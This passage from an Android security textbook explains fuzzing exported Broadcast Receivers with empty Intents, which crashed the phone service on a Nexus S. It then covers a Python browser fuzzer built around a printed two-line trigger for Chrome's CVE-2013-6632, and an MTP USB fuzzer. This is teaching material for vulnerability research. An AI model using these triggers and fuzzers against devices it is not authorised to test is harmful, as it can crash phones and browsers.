Identifying a Target
First, you need to identify which Broadcast Receivers are registered, which you
can do either for a single target application or system wide. You can identify a
single target application programmatically by using the PackageManager class
to query for installed apps and their respective exported receivers, as demonstrated by this slightly modified snippet from IntentFuzzer:
protected ArrayList<ComponentName> getExportedComponents() {
ArrayList<ComponentName> found = new ArrayList<ComponentName>();
PackageManager pm = getPackageManager();
for (PackageInfo pi : pm
.getInstalledPackages(PackageManager.GET_DISABLED_COMPONENTS
| PackageManager.GET_RECEIVERS) {
PackageItemInfo items[] = null;
if (items != null)
for(PackageItemInfo pii : items)
found.add(new ComponentName(pi.packageName, pii.name));
return found;
}
The getPackageManager method returns a PackageManager object, pm. Next,
getInstalledPackages is called, filtering only for enabled Broadcast Receivers,
and the package name and component name are stored in the found array.
Alternatively, you can use Drozer to enumerate Broadcast Receivers on a
target device, or for a specific application, much as was shown in Chapter 4.
The following excerpt lists broadcast receivers system wide and for the single
application com.yougetitback.androidapplication.virgin.mobile.
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dz> run app.broadcast.info
Package: android
Receiver: com.android.server.BootReceiver
Permission: null
Receiver: com.android.server.MasterClearReceiver
Permission: android.permission.MASTER_CLEAR
Package: com.amazon.kindle
Receiver: com.amazon.kcp.redding.MarketReferralTracker
Permission: null
Receiver: com.amazon.kcp.recommendation.CampaignWebView
Permission: null
Receiver: com.amazon.kindle.StandaloneAccountAddTracker
Permission: null
Receiver: com.amazon.kcp.reader.ui.StandaloneDefinitionContainerModule
Permission: null
...
dz> run app.broadcast.info -a \
com.yougetitback.androidapplication.virgin.mobile
Package: com.yougetitback.androidapplication.virgin.mobile
Receiver: com.yougetitback.androidapplication.settings.main.Entranc...
Permission: android.permission.BIND_DEVICE_ADMIN
Receiver: com.yougetitback.androidapplication.MyStartupIntentReceiver
Permission: null
Receiver: com.yougetitback.androidapplication.SmsIntentReceiver
Permission: null
Receiver: com.yougetitback.androidapplication.IdleTimeout
Permission: null
Receiver: com.yougetitback.androidapplication.PingTimeout
...
Generating Inputs
Understanding what a given input, like an Intent receiver, expects or can consume typically requires having a base test case or analyzing the receiver itself.
Chapter 4 includes some step-by-step analysis of a target app, along with a
particular Broadcast Receiver therein. However, given the nature of IPC on
Android, you can hit the ground running without investing a great deal of time.
You do this by simply constructing explicit Intent objects with absolutely no
other properties (extras, flags, URIs, etc.). Consider the following code snippet,
also based on IntentFuzzer:
protected int fuzzBR(List<ComponentName> comps) {
int count = 0;
for (int i = 0; i < comps.size(); i++) {
Intent in = new Intent();
in.setComponent(comps.get(i));
...
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In the preceding code snippet, the fuzzBR method receives and iterates through
the list of app component names. On each iteration, an Intent object is created
and setComponent is called, which sets the explicit destination component of
the Intent.
Delivering Inputs
Delivery of Intents can be achieved programmatically by simply calling the
sendBroadcast function with the Intent object. The following code excerpt
implements the algorithm, expanding upon the previously listed snippet.
protected int fuzzBR(List<ComponentName> comps) {
int count = 0;
for (int i = 0; i < comps.size(); i++) {
Intent in = new Intent();
in.setComponent(comps.get(i));
sendBroadcast(in);
count++;
}
return count;
}
Alternatively, you can use the am broadcast command to achieve the same
effect. An example of using this command is shown here:
$ am broadcast -n com.yougetitback.androidapplication.virgin.mobile/co\
m.yougetitback.androidapplication.SmsIntentReceiver
You execute the command, passing the target application and component, in
this case the Broadcast Receiver, as the parameter to the -n option. This effectively creates and delivers an empty Intent. Using this technique is preferred
when performing quick manual testing. It can also be used to develop a fuzzer
using only shell commands.
Monitoring Testing
Android also provides quite a few facilities for monitoring your fuzzing run.
You can employ logcat as the source for indicators of a crash. These faults will
most likely manifest in the form of an unhandled exception Java-style, such as
a NullPointerException. For instance, in the following excerpt, you can see
that the SmsIntentReceiver Broadcast Receiver appears to do no validation of
the incoming Intent object or its properties. It also doesn’t handle exceptions
particularly well.
E/AndroidRuntime( 568): FATAL EXCEPTION: main
E/AndroidRuntime( 568): java.lang.RuntimeException: Unable to start
receiver com.yougetitback.androidapplication.SmsIntentReceiver:
java.lang.NullPointerException
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E/AndroidRuntime( 568):
at
android.app.ActivityThread.handleReceiver(ActivityThread.java:2236)
E/AndroidRuntime( 568):
at
android.app.ActivityThread.access$1500(ActivityThread.java:130)
E/AndroidRuntime( 568):
at
android.app.ActivityThread$H.handleMessage(ActivityThread.java:1271)
E/AndroidRuntime( 568):
at
android.os.Handler.dispatchMessage(Handler.java:99)
E/AndroidRuntime( 568):
at
android.os.Looper.loop(Looper.java:137)
E/AndroidRuntime( 568):
at
android.app.ActivityThread.main(ActivityThread.java:4745)
E/AndroidRuntime( 568):
at
java.lang.reflect.Method.invokeNative(Native Method)
E/AndroidRuntime( 568):
at
java.lang.reflect.Method.invoke(Method.java:511)
E/AndroidRuntime( 568):
at
com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.
java:786)
E/AndroidRuntime( 568):
at
com.android.internal.os.ZygoteInit.main(ZygoteInit.java:553)
E/AndroidRuntime( 568):
at
dalvik.system.NativeStart.main(Native Method)
E/AndroidRuntime( 568): Caused by: java.lang.NullPointerException
E/AndroidRuntime( 568):
at
com.yougetitback.androidapplication.SmsIntentReceiver.onReceive
(SmsIntentReceiver.java:1150)
E/AndroidRuntime( 568):
at
android.app.ActivityThread.handleReceiver(ActivityThread.java:2229)
E/AndroidRuntime( 568):
... 10 more
Even OEM- and Google-provided components can fall prey to this approach,
often with interesting results. On a Nexus S, we applied our approach to the
PhoneApp$NotificationBroadcastReceiver receiver, which is a component of
the com.android.phone package. The output from logcat at the time is presented
in the following code:
D/PhoneApp( 5605): Broadcast from Notification: null
...
E/AndroidRuntime( 5605): java.lang.RuntimeException: Unable to start
receiver com.android.phone.PhoneApp$NotificationBroadcastReceiver:
java.lang.NullPointerException
E/AndroidRuntime( 5605):
at
android.app.ActivityThread.handleReceiver(ActivityThread.java:2236)
...
W/ActivityManager( 249): Process com.android.phone has crashed too many
times: killing!
I/Process ( 5605): Sending signal. PID: 5605 SIG: 9
I/ServiceManager(
81): service 'simphonebook' died
I/ServiceManager(
81): service 'iphonesubinfo' died
I/ServiceManager(
81): service 'isms' died
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I/ServiceManager(
81): service 'sip' died
I/ServiceManager(
81): service 'phone' died
I/ActivityManager( 249): Process com.android.phone (pid 5605) has died.
W/ActivityManager( 249): Scheduling restart of crashed service
com.android.phone/.TelephonyDebugService in 1250ms
W/ActivityManager( 249): Scheduling restart of crashed service
com.android.phone/.BluetoothHeadsetService in 11249ms
V/PhoneStatusBar( 327): setLightsOn(true)
I/ActivityManager( 249): Start proc com.android.phone for restart
com.android.phone: pid=5638 uid=1001 gids={3002, 3001, 3003, 1015, 1028}
...
Here you see the receiver raising a NullPointerException. In this case, however, when the main thread dies, the ActivityManager sends the SIGKILL signal
to com.android.phone. The result is the death of services like sip, phone, isms,
associated Content Providers that handle things like SMS messages, and more.
Accompanying this, the familiar Force Close modal dialog appears on the device
as shown in Figure 6-1.
Figure 6-1: Force Close dialog from com.android.phone
Though not particularly glamorous, a quick null Intent fuzzing run effectively
discovered a fairly simple way to crash the phone application. At first glance, this
seems to be nothing more than a casual annoyance to the user—but it doesn’t
end there. Shortly after, rild receives a SIGFPE signal. This typically indicates
an erroneous arithmetic operation, often a divide-by-zero. This actually results
in a crash dump, which is written to the log and to a tombstone file. The following code shows some relevant details from the crash log.
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint:
'google/soju/crespo:4.1.2/JZO54K/485486:user/release-keys'
pid: 5470, tid: 5476, name: rild >>> /system/bin/rild <<<
signal 8 (SIGFPE), code -6 (?), fault addr 0000155e
r0 00000000 r1 00000008 r2 00000001 r3 0000000a
r4 402714d4 r5 420973f8 r6 0002e1c6 r7 00000025
r8 00000000 r9 00000000 sl 00000002 fp 00000000
ip fffd405c sp 40773cb0 lr 40108ac0 pc 40106cc8 cpsr 20000010
...
backtrace:
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#00
#01
#02
pc 0000dcc8
pc 0000fabc
pc 0000fabc
/system/lib/libc.so (kill+12)
/system/lib/libc.so (__aeabi_ldiv0+8)
/system/lib/libc.so (__aeabi_ldiv0+8)
...
By looking at the back trace from this crash report, you can see the fault had
something to do with the ldiv0 function in libc.so, which apparently calls
the kill function. The relationship between rild and the com.android.phone
application may be apparent to those more familiar with Android—and is discussed in greater detail in Chapter 11. Our simple fuzzing run reveals that this
particular Broadcast Receiver has some effect on an otherwise fundamentally
core component of Android. Although null Intent fuzzing may not lead to the
discovery of many exploitable bugs, it’s a good go-to for finding endpoints with
weak input validation. Such endpoints are great targets for further exploration.
Fuzzing Chrome for Android
The Android Browser is an attractive fuzz target for many reasons. First, it is a
standard component that is present on all Android devices. Also, the Android
browser is composed of Java, JNI, C++, and C. Because web browsers focus heavily on performance, a majority of the code is implemented in native languages.
Perhaps due to its complexity, many vulnerabilities have been found in browser
engines. This is especially true for the WebKit engine that the Android browser
is built on. It’s easy to get started fuzzing the browser since very few external
dependencies exist; only a working Android Debug Bridge (ADB) environment is needed to get started. Android makes it easy to automate processing
inputs. Most important, as discussed in Chapter 5, the web browser exposes an
absolutely astonishing amount of attack surface through all of the technologies
that it supports.
This section presents a rudimentary fuzzer called BrowserFuzz. This fuzzer
targets the main rendering engine within the Chrome for Android browser,
which is one of the underlying dependency libraries. As is typical with any
fuzzing, the goal is to exercise Chrome’s code with many malformed inputs.
Next this section explains how we selected which technology to fuzz, generated
inputs, delivered them for processing, and monitored the system for crashes.
Code excerpts from the fuzzer support the discussion. The complete code is
included with the materials on the book’s website.
Selecting a Technology to Target
With a target as large and complex as a web browser, it’s challenging to decide
exactly what to fuzz. The huge number of supported technologies makes it
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infeasible to develop a fuzzer that exercises all of the functionality. Even if you
developed such a fuzzer, it would be unlikely to obtain an acceptable level of
code coverage. Instead, it’s best to focus fuzzing efforts on a smaller area of
code. Exempli gratia, concentrate on fuzzing SVG or XSLT alone, or perhaps
focus on the interaction between two technologies like JavaScript and HTML.
Choosing exactly where to focus fuzzing efforts is one of the most important
parts of any browser fuzzing project. A good target is one that seemingly contains
the most features and is less likely to have already been audited by others. For
example, closed-source components can be difficult to audit and making them
an easy target for fuzzing. Another thing to consider when choosing a browser
technology is the amount of documentation. Less-documented functionality
has the probability of being poorly implemented; giving you a better chance
of causing a crash.
Before selecting a technology, gather as much information as possible about
what technologies are supported. Browser compatibility sites like http://
mobilehtml5.org/ and http://caniuse.com/ contain a wealth of knowledge
about what technologies are supported by various browsers. Finally, the ultimate resource is the source code itself. If the source code is not available for the
target technology, reverse engineering binaries enhances fuzzer development.
It’s also worthwhile to research the technology in depth or review past bugs or
vulnerabilities discovered in the target code or similar code. In short, gathering
more information leads to more informed decisions.
For simplicity’s sake, we decided to focus on HTML version 5. This specification represents the fifth incarnation of the core language of web browser technology. At the time of this writing, it is still fairly young and has yet to become
a W3C recommendation. That said, HTML5 has become the richest and most
encompassing version of HTML to date. It includes direct support for tags like
<video> and <audio>. Further, it supports <canvas>, which is a scriptable graphics context that allows drawing and rendering graphics programmatically. The
richness of HTML5 comes from its heavy reliance on scripting, which makes
extremely dynamic content possible.
This text focuses on an HTML version 5 feature that was added relatively
recently within the Chrome for Android browser: Typed Arrays. This feature
allows a web developer access to a region of memory that is formatted as a
native array. Consider the following code excerpt:
var arr = new Uint8Array(16);
for (var n = 0; n < arr.length; n++) {
arr[n] = n;
}
This code creates an array of sixteen elements and initializes it to contain
the numbers 0 through 15. Behind the scenes, the browser stores this data the
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same way a native array of unsigned characters would be stored. The following
excerpt shows the native representation:
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
As shown in the preceding code, the data is packed very tightly together. This
fact makes it very efficient and convenient for passing to underlying code that
operates on arrays in native representation. A great example is image libraries.
By not having to translate data back and forth between JavaScript and native
representations, the browser (and consequently the web application) can achieve
greater performance through improved efficiency.
At the 2013 Mobile Pwn2Own competition, the researcher known as Pinkie
Pie demonstrated a successful compromise of the Chrome for Android browser
running on fully updated Nexus 4 with Android 4.3. Shortly thereafter, fixes for
the issues exploited by Pinkie Pie were committed to the affected open source
repositories. When taking a closer look, Jon Butler of MWR Labs spotted a
change in the Typed Arrays code implemented in the V8 JavaScript engine used
by Chrome. After realizing the issue, he tweeted a minimal proof-of-concept
trigger for the vulnerability, as shown in Figure 6-2.
Figure 6-2: Minimal trigger for CVE-2013-6632
Upon seeing this proof-of-concept, we were inspired to develop a fuzzer that
further exercised the Typed Arrays code within Chrome for Android. If such
an egregious mistake was present, there may be further issues lurking within.
With a target selected, we were ready to develop the code needed to get started
fuzz testing this functionality.
Generating Inputs
The next step in the process of creating this fuzzer is to develop code to programmatically generate test cases. Unlike mutation-based dumb fuzzing, we
instead use a generative approach. Starting from the minimal proof-of-concept
published by Jon Butler, we aim to develop a rudimentary page generator. Each
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page contains some boilerplate code that executes a JavaScript function after it
is loaded. Then, we randomly generate some JavaScript that exercises the Typed
Array functionality within the JavaScript function itself. Thus, the core of our
generative algorithm focuses on the body of the JavaScript function.
First, we break the minimal trigger down into the creation of two separate
arrays. In the proof-of-concept, the first array is a traditional JavaScript array
that is reserved for a particular size. By default, it gets filled with zero values.
The creation of this array is nested inside the minimal trigger, but can instead
be done separately. Using this form, the minimal trigger becomes
var arr1 = new Array(0x24924925);
var arr2 = new Float64Array(arr1);
We use this notation in our fuzzer, as it allows us to try other Typed Array
types in place of the traditional JavaScript Array type.
To generate the code that creates the first array, we used the following code:
45
}\n"
page += "
try { " + generate_var() + " } catch(e) { console.log(e);
Here, we use the generate_var function to create the declaration of the first
array. We wrap the creation of the array in a try-catch block and print any error
that occurs to the browser’s console. This helps quickly discover potential issues in
what we are generating. The following is the code for the generate_var function:
64 def generate_var():
65
vtype = random.choice(TYPEDARRAY_TYPES)
66
vlen = rand_num()
67
return "var arr1 = new %s(%d);" % (vtype, vlen)
First we randomly choose a Typed Array type from our static array of supported types. Following that, we choose a random length for the array using
the rand_num function. Finally, we use the type and random length to create
the declaration of our first array.
Next, we turn our attention to generating the second array. This array is
created from the first array and uses its size. The vulnerability hinges on the
first array being within a particular range of sizes for two reasons. First and
foremost, it leads to an integer overflow occurring when calculating the size
of the memory region to be allocated for the second array. Second, it needs to
pass some validation that was meant to prevent the code from proceeding in
the case that an integer overflow had occurred. Unfortunately, the check was
incorrectly performed in this case. Here is an excerpt with the code that generates the second array:
49
page += " try { " + generate_assignment() +
" }catch(e){ console.log(e); }\n"
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Similar to how we generate the creation of the first array, we wrap the creation
in a try-catch block. Instead of using the generate_var function, we use the
generate_assignment function. The code for this function follows:
69 def generate_assignment():
70
vtype = random.choice(TYPEDARRAY_TYPES)
71
return "var arr2 = new %s(arr1);" % (vtype)
This function is a bit simpler because we don’t need to generate a random
length. We simply choose a random Typed Array type and generate the JavaScript
to declare the second array based on the first.
In this fuzzer, the rand_num function is crucial. In the minimal trigger, a rather
large number is used. In an attempt to generate values similar to that value, we
devised the algorithm shown here:
def rand_num():
divisor = random.randrange(0x8) + 1
dividend = (0x100000000 / divisor)
if random.randrange(3) == 0:
addend = random.randrange(10)
addend -= 5
dividend += addend
return dividend
First we select a random divisor between 1 and 8. We don’t use zero as dividing by 0 would crash our fuzzer. Further, we don’t use any numbers greater
than 8, because 8 is the largest size for an element in any of the Typed Array
types (Float64Array). Next, we divide 232 by our randomly selected divisor. This
yields a number that is likely to trigger an integer overflow when multiplied.
Finally, we add a number between –5 and 4 to the result with a one-in-three
probability. This helps discover corner cases where an integer overflow occurs
but doesn’t cause ill behavior.
Finally, we compile a list of the Typed Array types from the specification. A
link to the specification is provided in Appendix C included in this book. We
put the types into the global Python array called TYPEDARRAY_TYPES that is used
by the generate_var and generate_assignment functions. When combined
with the boilerplate code that executes our generated JavaScript function, we
are able to generate functional inputs in the form of HTML5 pages that exercise
Typed Arrays. Our input generation task is complete, and we are ready to get
our Android devices processing them.
Processing Inputs
Now that the browser fuzzer is generating interesting inputs, the next step is to
get the browser processing them. Although this task is often the least sexy to
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implement, without it you cannot achieve the automation that makes fuzz testing
so great. Browsers primarily take input based on Universal Resource Locators
(URLs). Diving deep into all of the complexities involved in URL construction
and parsing is out of the scope of this chapter. What’s most important is that the
URL tells the browser what mechanism to use to obtain the input. Depending
on which mechanism is used, the input must be delivered accordingly.
BrowserFuzz provides inputs to the browser using HTTP. It’s likely that other
means, such as uploading the input and using a file:// URL, would work but
they were not investigated. To deliver inputs via HTTP, the fuzzer implements
a rudimentary HTTP server based on the Twisted Python framework. The
relevant code is shown here:
13
14
...
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from twisted.web import server, resource
from twisted.internet import reactor
class FuzzServer(resource.Resource):
isLeaf = True
page = None
def render_GET(self, request):
path = request.postpath[0]
if path == "favicon.ico":
request.setResponseCode(404)
return "Not found"
self.page = generate_page()
return self.page
if __name__ == "__main__":
# Start the HTTP server
server_thread = FuzzServer()
reactor.listenTCP(LISTEN_PORT, server.Site(server_thread))
threading.Thread(target=reactor.run, args=(False,)).start()
As stated previously, this HTTP server is quite rudimentary. It only responds
to GET requests and has very little logic for what to return. Unless the favicon
.ico file is requested, the server always returns a generated page, which it saves
for later. In the icon case, a 404 error is returned to tell the browser that no such
file is available. In the main portion of the fuzzer, the HTTP server is started
in its own background thread. Thanks to Twisted, nothing further needs to be
done to serve the generated inputs.
With an HTTP server up and running, the fuzzer still needs to do one more
thing to get inputs processed automatically. It needs to instruct the browser to
load pages from the corresponding URL. Automating this process on Android
is very easy, thanks to ActivityManager. By simply sending an Intent using the
am command-line program, you can simultaneously start the browser and tell
it where to load content from. The following excerpt from the execute_test
function inside BrowserFuzz does this.
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57
58
59
60
61
62
63
tmpuri = "fuzzyou?id=%d" % (time.time())
output = subprocess.Popen([ 'adb', 'shell', 'am', 'start',
'-a', 'android.intent.action.VIEW',
'-d', 'http://%s:%d/%s' % (LISTEN_HOST, LISTEN_PORT,
tmpuri),
'-e', 'com.android.browser.application_id', 'wooo',
'com.android.chrome'
], stdout=subprocess.PIPE,
stderr=subprocess.STDOUT).communicate()[0]
Line 57 generates a time-based query string to request. The time is used
to ensure that the browser will request a fresh copy of the content each time
instead of reusing one from its cache. Lines 58 through 63 actually execute the
am command on the device using ADB.
The full command line that BrowserFuzz uses is fairly lengthy and involved.
It uses the start subcommand, which starts an Activity. Several Intent options
follow the subcommand. First, the Intent action (android.intent.action.VIEW)
is specified with the -a switch. This particular action lets the ActivityManager
decide how to handle the request, which in turn decides based on the data
specified with the -d switch. BrowserFuzz uses an HTTP URL that points back
to the server that it started, which causes ActivityManager to launch the default
browser. Next, the -e switch provides extra data to Chrome that sets com.android
.browser.application_id to “wooo”. This has the effect of opening the request
in the same browser tab instead of creating a new tab for each execution. This
is particularly important because creating tons of new tabs wastes memory and
makes restarting a crashed browser more time consuming. Further, reopening
previous test cases on restart is unlikely to help find a bug because such inputs
were already processed once. The final part of the command specifies the package
that should be started. Though this fuzzer uses com.android.chrome, targeting other browsers is also possible. For example, the old Android Browser on
a Galaxy Nexus can be launched by using the com.google.android.browser
package name instead.
Because BrowserFuzz aims to test many inputs automatically, the final piece
of the input processing puzzle is a trivial loop that repeatedly executes tests.
Here is the code:
45
46
47
def run(self):
while self.keep_going:
self.execute_test()
As long as the flag keep_going is true, BrowserFuzz will continually execute
tests. With tests executing, the next step is to monitor the target application for
ill behavior.
Monitoring Testing
As discussed earlier in this chapter, monitoring the behavior of the target program is essential to knowing whether you’ve discovered something noteworthy.
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Though a variety of techniques for monitoring exist, BrowserFuzz uses a simplistic approach.
Recall from Chapter 2 that Android contains a system logging mechanism
that is accessible using the logcat command. This program exists on all Android
devices and is exposed directly via ADB. Also recall that Android contains a
special system process called debuggerd. When a process on Android crashes,
debuggerd writes information about the crash to the system log. BrowserFuzz
relies on these two facilities to achieve its monitoring.
Prior to starting Chrome, the fuzzer clears the system log to remove any
irrelevant entries. The following line does this:
54
subprocess.Popen([ 'adb', 'logcat', '-c' ]).wait() # clear log
As before, we use the subprocess.Popen Python function to execute the adb
command. This time we use the logcat command, passing the -c argument to
clear the log.
Next, after pointing the browser at its HTTP server, the fuzzer gives the
browser some time to process the crafted input. To do this, it uses Python’s
time.sleep function:
65
time.sleep(60)
# give the device time hopefully crash)
We pass a number of seconds that gives Chrome enough time to process our
crafted input. The number here is quite large, but this is intentional. Processing
large TypedArrays can take a decent amount of time, especially when running
on a relatively low-powered device.
The next step is to examine the system log to see what happened. Again, we
use the adb logcat command as shown here:
68
69
log = subprocess.Popen([ 'adb', 'logcat', '-d' ], # dump
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT).communicate()[0]
This time we pass the -d argument to tell logcat to dump the contents of the
system log. We capture the output of the command into the log variable. To do
this, we use the stdout and stderr options of subprocess.Popen combined with
the communicate method of the returned object.
Finally, we examine the log contents in our fuzzer using the following code.
72
73
74
75
76
77
78
if log.find('SIGSEGV') != -1:
crashfn = os.path.join('crashes', tmpuri)
print "
Crash!! Saving page/log to %s" % crashfn
with open(crashfn, "wb") as f:
f.write(self.server.page)
with open(crashfn + '.log', "wb") as f:
f.write(log)
The most interesting crashes, from a memory corruption point of view, are
segmentation violations. When these appear in the system logs, they contain the
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string SIGSEGV. If we don’t find the string in the system log output, we discard
the generated input and try again. If we do find the string, we can be relatively
certain that a crash occurred due to our fuzz testing.
After a crash is observed, we store the system log information and generated input file locally for later analysis. Having this information on the local
machine allows us to quickly examine crashes in another window while letting
the fuzzer continue to run.
To prove the effectiveness of this fuzzer, the authors ran the fuzzer for several days. The specific test equipment was a 2012 Nexus 7 running Android
4.4. The version of the Chrome for Android app available at the time of Mobile
Pwn2Own 2013 was used. This version was obtained by uninstalling updates
to the app within Settings ➢ Apps and disabling updates within Google Play.
The following shows the specific version information:
W/google-breakpad(12273):
W/google-breakpad(12273):
W/google-breakpad(12273):
W/google-breakpad(12273):
Chrome build fingerprint:
30.0.1599.105
1599105
ca1917fb-f257-4e63-b7a0-c3c1bc24f1da
While testing, monitoring the system log in another window provided additional insight into the progress of the fuzzer. Specifically, it revealed that a few
of the TypedArray types are not supported by Chrome, as evidenced by the
following output.
I/chromium( 1690): [INFO:CONSOLE(10)] "ReferenceError: ArrayBufferView
is not defined", source: http://10.0.10.10:31337/fuzzyou?id=1384731354 (10)
[...]
I/chromium( 1690): [INFO:CONSOLE(10)] "ReferenceError: StringView is not
defined", source: http://10.0.10.10:31337/fuzzyou?id=1384731406 (10)
Commenting out those types improves the effectiveness of the fuzzer. Without
monitoring the system log, this would go unnoticed and test cycles would be
needlessly wasted.
During testing, hundreds of crashes occurred. Most of the crashes were NULL
pointer dereferences. Many of these were due to out-of-memory conditions. The
output from one such crash follows.
Build fingerprint: 'google/nakasi/grouper:4.4/KRT16O/907817:user/releasekeys'
Revision: '0'
pid: 28335, tid: 28349, name: ChildProcessMai >>>
com.android.chrome:sandboxed_process3 <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 00000000
r0 00000000 r1 00000000 r2 c0000000 r3 00000000
r4 00000000 r5 00000000 r6 00000000 r7 00000000
r8 6ad79f28 r9 37a08091 sl 684e45d4 fp 6ad79f1c
ip 00000000 sp 6ad79e98 lr 00000000 pc 4017036c cpsr 80040010
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Additionally, several crashes referencing 0xbbadbeef occurred. This value
is associated with memory allocation failures and other issues within Chrome
that are fatal. The following is one such example:
pid: 11212, tid: 11230, name: ChildProcessMai >>>
com.android.chrome:sandboxed_process10 <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr bbadbeef
r0 6ad79694 r1 fffffffe r2 00000000 r3 bbadbeef
r4 6c499e60 r5 6c47e250 r6 6ad79768 r7 6ad79758
r8 6ad79734 r9 6ad79800 sl 6ad79b08 fp 6ad79744
ip 2bde4001 sp 6ad79718 lr 6bab2c1d pc 6bab2c20 cpsr 40040030
Finally, a few times crashes similar to the following appeared:
pid: 29030, tid: 29044, name: ChildProcessMai >>>
com.android.chrome:sandboxed_process11 <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 93623000
r0 6d708091 r1 092493fe r2 6eb3053d r3 6ecfe008
r4 24924927 r5 049249ff r6 6ac01f64 r7 6d708091
r8 6d747a09 r9 93623000 sl 5a3bb014 fp 6ac01f84
ip 6d8080ac sp 6ac01f70 lr 3dd657e8 pc 3dd63db4 cpsr 600e0010
The input that caused this crash is remarkably similar to the proof-of-concept
trigger provided by Jon Butler.
This fuzzer serves as an example of just how quick and easy fuzz testing can
be. With only a couple hundred lines of Python, BrowserFuzz is able to give
the TypedArrays functionality in Chrome a workout. In addition to uncovering
several less critical bugs, this fuzzer successfully rediscovered the critical bug
Pinkie Pie used to win Mobile Pwn2Own. This fuzzer serves as an example that
focusing fuzzing efforts on a narrow area of code can increase efficiency and
thus the chance to find bugs. Further, BrowserFuzz provides a skeleton that can
be easily repurposed by a motivated reader to fuzz other browser functionality.
Fuzzing the USB Attack Surface
Chapter 5 discussed some of the many different functions that the Universal
Serial Bus (USB) interface of an Android device can expose. Each function
represents an attack surface in itself. Although accessing these functions does
require physical access to a device, vulnerabilities in the underlying code can
allow accessing the device in spite of existing security mechanisms such as a
locked screen or disabled or secured ADB interface. Potential impact includes
reading data from the device, writing data to the device, gaining code execution,
rewriting parts of the device’s firmware, and more. These facts combined make
the USB attack surface an interesting target for fuzz testing.
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There are two primary categories of USB devices: hosts and devices. Although
some Android devices are capable of becoming a host, many are not. When a
device switches to behaving as a host, usually by using an On-the-Go (OTG)
cable, it’s said to be in host mode. Because host mode support on Android devices
has a checkered past, this section instead focuses on fuzzing device mode services.
USB Fuzzing Challenges
Fuzzing a USB device, like other types of fuzzing, presents its own set of challenges. Some input processing is implemented in the kernel and some in userspace. If processing in the kernel encounters a problem, the kernel may panic
and cause the device to reboot or hang. The user-space application that implements a particular function may, and hopefully will, crash. USB devices often
respond to errors by issuing a bus reset. That is, the device will disconnect itself
from the host and reset itself to a default configuration. Unfortunately, resetting
the device disconnects all USB functions currently in use, including any ADB
sessions being used for monitoring. Dealing with these possibilities requires
additional detection and handling in order to maintain autonomous testing.
Thankfully Android is fairly robust in most of these situations. Services often
restart automatically. Android devices use a watchdog that will restart the device
in the case of a kernel panic or hang. Many times, simply waiting for the device
to come back is sufficient. If the device doesn’t return, issuing a bus reset for the
device may resolve the situation. Still, in some rare and less-than-ideal cases,
it may be necessary to physically reconnect or power cycle the device to clear
an error. It is possible to automate these tasks, too, though it may require using
special hardware such as a USB hub that supports software control or custom
power supplies. These methods are outside the scope of this chapter.
Though fuzzing a USB device comes with its own challenges, much of the
high-level process remains the same. Fuzzing one function at a time yields better results than attempting to fuzz all exposed USB functions simultaneously.
As with most applications that allow communication between two computers,
applications that use USB as a transport implement their own protocols.
Selecting a Target Mode
Due to the many different possible modes that a USB interface can be in, choosing
just one can be difficult. On the other hand, changing the mode of an Android
device usually switches the exposed functions. That is, one mode exposes a
certain set of functions but another mode exposes a different set of functions.
This can easily be seen when plugging a device into USB. Upon doing so, a
notification will typically appear stating the current mode and instructing the
user to click to change options. Exactly which functions are supported varies
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from one device to the next. Figure 6-3 shows the notification when plugging
in a Nexus 4 with Android 4.4.
Figure 6-3: USB connected notification
After clicking on the notification, the user is brought to the screen shown in
Figure 6-4.
Figure 6-4: USB mode selection
From Figure 6-4, it appears that not very many modes are offered by default on
the Nexus 4. The truth of the matter is that some other functions are supported,
such as USB tethering, but they must be explicitly enabled or set by booting up
in special ways. This device is in its default setting, and thus “Media device
(MTP)” is the default function exposed by the device in its factory state. This
alone makes it the most attractive fuzz target.
Generating Inputs
After selecting a specific USB function to target, the next step is to learn as
much as possible about it. Thus far, the only thing known is that the Android
device identifies this function as “Media device (MTP).” Researching the MTP
acronym reveals that it stands for Media Transfer Protocol. A brief investigation explains that MTP is based on Picture Transfer Protocol (PTP). Further,
searching for “MTP fuzzing” leads to a publicly available tool that implements
fuzzing MTP. Olle Segerdahl developed this tool and released it at the 2012 T2
Infosec conference in Finland. The tool is available at https://github.com/
ollseg/usb-device-fuzzing.git. The rest of this section examines how this
fuzzer generates and processes inputs.
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Upon taking a deeper look at Olle’s usb-device-fuzzing tool, it becomes obvious that he built his generation strategy on the popular Scapy packet manipulation tool. This is an excellent strategy because Scapy provides much of what is
needed to generate fuzzed packet input. It allows the developer to focus on the
specific protocol at hand. Still, Olle had to tell Scapy about the structure of MTP
packets and the flow of the protocol. He also had to implement any nonstandard
handling such as relationships between data and length fields.
The code for generating packets lies within the USBFuzz/MTP.py file. Per
usual, it starts by including the necessary Scapy components. Olle then defined
two dictionaries to hold the Operation and Response codes used by MTP. Next,
Olle defined a Container class and two of MTP’s Transaction Phases. All MTP
transactions are prefixed by a container to let the MTP service know how to
interpret the following data. The Container class, which is actually described
in the PTP specification, is listed here:
98 class Container(Packet):
99
name = "PTP/MTP Container "
100
101
_Types = {"Undefined":0, "Operation":1, "Data":2, "Response":3,
"Event":4}
102
103
_Codes = {}
104
_Codes.update(OpCodes)
105
_Codes.update(ResCodes)
106
fields_desc = [ LEIntField("Length", None),
107
LEShortEnumField("Type", 1, _Types),
108
LEShortEnumField("Code", None, _Codes),
109
LEIntField("TransactionID", None) ]
This object generates the container structure used by both PTP and MTP.
Because it’s built on Scapy, this class only needs to define fields _desc. It tells
Scapy how to build the packet that represents the object. As seen from the
source code, the Container packet consists of only four fields: a length, a type,
a code, and a transaction identifier. Following this definition the Container
class contains a post_build function. It handles two things. First, it copies the
code and transaction identifier from the payload, which will contain one of
the two packet types discussed next. Finally, the post_build function updates
the Length field based on the size of the provided payload.
The next two objects that Olle defined are the Operation and Response packets. These packets are used as the payload for Container objects. They share a
common structure and differ only by the codes that are valid in the Code field.
The following excerpt shows the relevant code:
127 class Operation(Packet):
128
name = "Operation "
129
fields_desc = [ LEShortEnumField("OpCode", 0, OpCodes),
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130
LEIntField("SessionID", 0),
[...]
143 class Response(Packet):
144
name = "Response "
145
